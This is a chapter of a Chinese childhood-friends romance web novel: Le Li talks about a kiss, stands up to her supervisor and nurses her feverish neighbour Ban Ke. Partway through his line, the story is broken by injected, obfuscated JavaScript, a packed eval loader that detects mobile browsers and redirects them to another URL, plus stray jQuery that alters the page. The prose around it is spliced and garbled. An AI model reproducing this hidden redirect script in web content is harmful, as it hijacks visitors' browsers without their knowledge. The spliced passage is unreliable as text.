50. 生病
作品:《自哄[青梅竹马]》 乐礼晕乎乎地回到家,然后爬上床,一觉睡到自然醒。
第二天,她发现老板给她打了好几通电话,乐礼直接当没看到,今天本来就是她的休息日。
还是她之前太勤奋了,有几次休息日都还去实验室,导致人家以为是卷王,好欺负。
乐礼果断决定恢复高中时的心态,该吃吃该喝喝该睡睡。
“你和他真的亲了?!”
耳边是赵朝朝的我靠声,此起彼伏。
乐礼躺在床上,舒舒服服的回忆。
她摸着自己的唇,仿佛晚上的触感还存在,薄薄的,有些凉意,但很快就变成烈火了。
“我感觉有可能是在做梦。”
她絮絮叨叨,抽空点了一个外卖。
“我昨天怎么回来的都有些记不清了。”
赵朝朝兴奋道:“肯定是他给你送回来的啊!”
“感觉不像。”
乐礼起床洗漱,牙刷含在嘴里,语句不清。
“你说我这接下来是不是要尴尬几天?”
赵朝朝不以为然。
“还好吧,我上次对着同事吐槽老板的小三,结果第二天其他同事就说小三就是她。”
乐礼取完外卖,“我去,你不尴尬吗?”
“哈哈哈还好,一开始也尴尬,但我总不能不上班吧,所以还是硬着头皮上了。”
“结果人家像没事人一样,还是客客气气对我,所以我也不尴尬什么了。”
赵朝朝接着说道:“所以啊,没啥好尴尬的,都是成年人他敢亲你就说明做好了准备。”
乐礼掰开筷子:“这么想来,我输了一局。”
“哎呦喂,我真是服了你,你们这游戏玩的,我感觉就是在让你去追他,而且方法途径都给你架好了。”
赵朝朝拍着大腿,隔着手机屏幕都能听到。
“我靠我现在可是旁观者清了,班恪会不会早就喜欢你呀?”
乐礼一怔。
“不可能,我和他之前天天互怼,他不把我当女生,我也没把他当男生。”
“你怎么说的这么好笑。”
乐礼想都没想,“因为是真的啊,初中他天天犯欠解我鞋带,和普通男生没什么区别。”
“哇哦哇哦,那你现在怎么要追一个犯欠的人呢?”
“……”
好吧。
这也算她欠。
/
乐礼隔天去找导师了。
她非常明确地告诉他,不可能的,她是不可能写一篇三区的SCI给别人的。
她老板有些不高兴,说可以资源置换,不会让她白写的,但是都一一被乐礼挡了回来,还是那句话,有能力,她不会被开。
这个课题缺她不可。
一旦想清楚这个后,一切都轻松起来。
不要看低自己的能力,别人能让你写,说明你有这个实力,所以别怂。
王一妮听后朝她竖了大拇指,“师妹我发现你真是与众不同。”
乐礼谦虚地笑了笑。
王一妮半开玩笑:“你从哪里获得力量的?”
乐礼想起什么,也半开玩笑调皮道:“一个吻。”
“那你还真是艳福不浅啊,我羡慕死了。”
王一妮模仿了一下僵尸吃饭,勺子掉到餐盘,“我感觉我真不是读研的料,好枯燥,他们是怎么撑下来的,怎么就我感觉要死了。”
乐礼叹气,她当初也是觉得读研是件很美好的事,“想着一天就是一天,一年就是一年。”
其实上,也还行。
王一妮看了眼手机,感慨道:“我高中同学有的已经结婚了。”
说到这里,乐礼也想起前几天有人在群里发自己结婚的贺卡,真是小小让她震惊了。
不过每个人都有自己的节奏,她也跟着其他人发了祝福。
乐礼下午回到家,路过楼下的体验馆。
她想起那个小男生,觉得他还挺意思的,便转脚进来,前台还是许耳朵。
许耳朵在打游戏,听见声音抬眼:“我靠,你还真是坚持不懈啊。”
乐礼:“……”
她性子还算好的。
“你叫什么名字?”
“我才不和你这个怪阿姨说话。”
拳头硬了。
乐礼瞥了眼他手机屏幕的战绩,“小菜鸡。”
许耳朵瞪了她一眼。
半小时后。
“姐姐你这么牛逼啊。”
果然小学生都是一个德行。
许耳朵谄媚道:“我天天看你像孤魂野鬼似的,以为你不会玩这些游戏呢。”
什么狗屁形容词。
乐礼心中默念他是小学生,咱们成年人不和小学生多计较。
她笑眯眯道:“班恪为什么是你哥?”
许耳朵挠了挠头:“因为他是我老爹的学生。”
“而且他超厉害的。”
“……”
乐礼眼皮跳了跳,我靠,他果然是个交际花,圆滑得不像话啊。
反观自己,哎,乐礼自己也觉得自己有点不会变通,爱钻牛角尖,爱折磨自己,爱在外人面前装得轻轻松松。
她突然想起网上热议的学生年代最讨厌的那种人,应该就是她这种吧,骨子里清高但又没干出什么事来。
她是冰,刺凌凌的。
而且心理还有病,拧巴,像角落里的青苔。
“哎,我哥本来好像是航天航空的,结果因为身体缘故被刷了下来。”
乐礼觉得奇怪,“他身体很好啊。”
“好像肺活量有些不过关。”
/
乐礼给班恪发了信息。
【今天还玩不!】
她本来想打问号的,结果打成了感叹号。
一个标点符号不同,意思就怪了好多。
好像更期待了。
班恪没回她。
乐礼有些失落,她点开买菜APP,买了好多的菜,准备做菜了。
……
七八岁的时候,乐礼吃着绿舌头,顶着大太阳往家里走,天空蓝的不像话,都没有几朵白云。
班恪骑着自行车在她旁边,他两手不握柄,和她一样吃着绿舌头。
乐礼见状挪了挪脚步,班恪发现了冷笑道:“撞不到你。”
小女孩吐着绿舌头,“万一呢?”
她这条小命可宝贵了,将来要拯救世界的。
班恪翻了白眼,见她顶着大太阳走的又像蜗牛,他也热得要死,巴不得脚一蹬就回家。
“你上不上来?”
“不上。”
他刚骑会车,乐礼害怕。
她总觉得他会把自己带沟里。
班恪看透她的心思,气得脸都红了,出言讥讽道:“胆小鬼,我又不会摔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066130|187187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
死你。”
看看看,说明心里就是有这个想法。
乐礼摇头,慢吞吞道:“不要。”
她抬头看向天空,好刺眼的阳光。
这时蓝色的天空滑过一条飞机线。
“哇,是飞机哎!”
班恪见状切了一声,大言不惭道:“我以后也能开。”
说罢还拍了拍自己的胸脯,得意得很。
而乐礼还在仰着脸看,鬼使神差问了一句:“你说太空是什么样的?”
班恪伸手扯了扯她的辫子:“嗐,这有什么,等我长大了上太空,到时候回来你来迎接我,我呢就勉为其难告诉你。”
乐礼扭头看向他,眨巴着眼,也不恼他的动作,笑眯眯道:“好啊。”
……
外卖小哥送上来时,乐礼发呆手机砸了她的下巴,让她思绪回笼,“来了,你先放外面。”
乐礼说不清她心里的感受,只觉得有些难过,小时候说的话,长大后他还真的想,结果却没有实现。
他肯定也很难过。
梦想这件事好难,童言无忌的时候总觉得可以,长大后才知道有些事只能是梦想。
赵朝朝有一回开玩笑说,他们俩在高中都是妥妥的天之骄子,天才少年高考也很如意,未来什么事都是顺风顺水的。
然而却是翻过这座山,是更大的山。
天才少年也不是唯一的。
乐礼开门特意留意了一下对面的情况,她想了想走了过去,敲门。
没有人开门。
但她固执地敲。
不对劲了。
乐礼掏出手机正准备打电话时,门开了。
班恪状态很不好,整个人像刚睡醒,睫毛在他眼底投下一片鸦青色的阴影,带着浓浓的倦意,乐礼正准备问他怎么了,突然他身子倒向她。
“?”
所以刚刚来开门是用尽了他所有的力气吗?
“!”
乐礼立马搂住他的腰,支撑着他不倒下。
男人身上淡淡的味道包裹住她,像酸酸的青柠盐水,他像是找到了依靠,反手就扣住她的腰。
班恪蹭着她的脖颈,呼吸绵绵进入她的耳蜗:“我……好像发烧了。”
乐礼耳朵被他的气息弄红了,更让她在意的是好烫,他身体好烫。
乐礼咬了咬牙,一鼓作气将他拖进房间里,别的不说,她力气还是很大的。
班恪若有若无地扯了一下唇角。
她没看见,接着用手摸了摸他的额头,是发烧了。
班恪像烧糊涂了,漆眸没有焦距地盯着她,一眨不眨的。
完蛋,别真烧糊涂了,乐礼想。
她家里有退烧药,想到这里她立马跑回家,翻出退烧药,回到班恪身边,掰开他的嘴塞了进去。
这一过程,班恪很听话。
但是眼睛却黑黝黝一直盯着她,像是在怕她走了,话也不说一句。
乐礼伸手想试探他神志还清不清醒,不然还是送医院最好,不料直接被他抓住了指尖,让她猝不及防一愣。
他嗓音沙哑,说着就要撑起身来:“我们还有游戏要玩。”
乐礼皱了皱眉,“不行。”
“你生病了不可以。”
等会儿她再给他煮一碗粥。
班恪先是眯了眯眼,接着半垂下头有些失落道:“这就是好朋友的关心吗?”

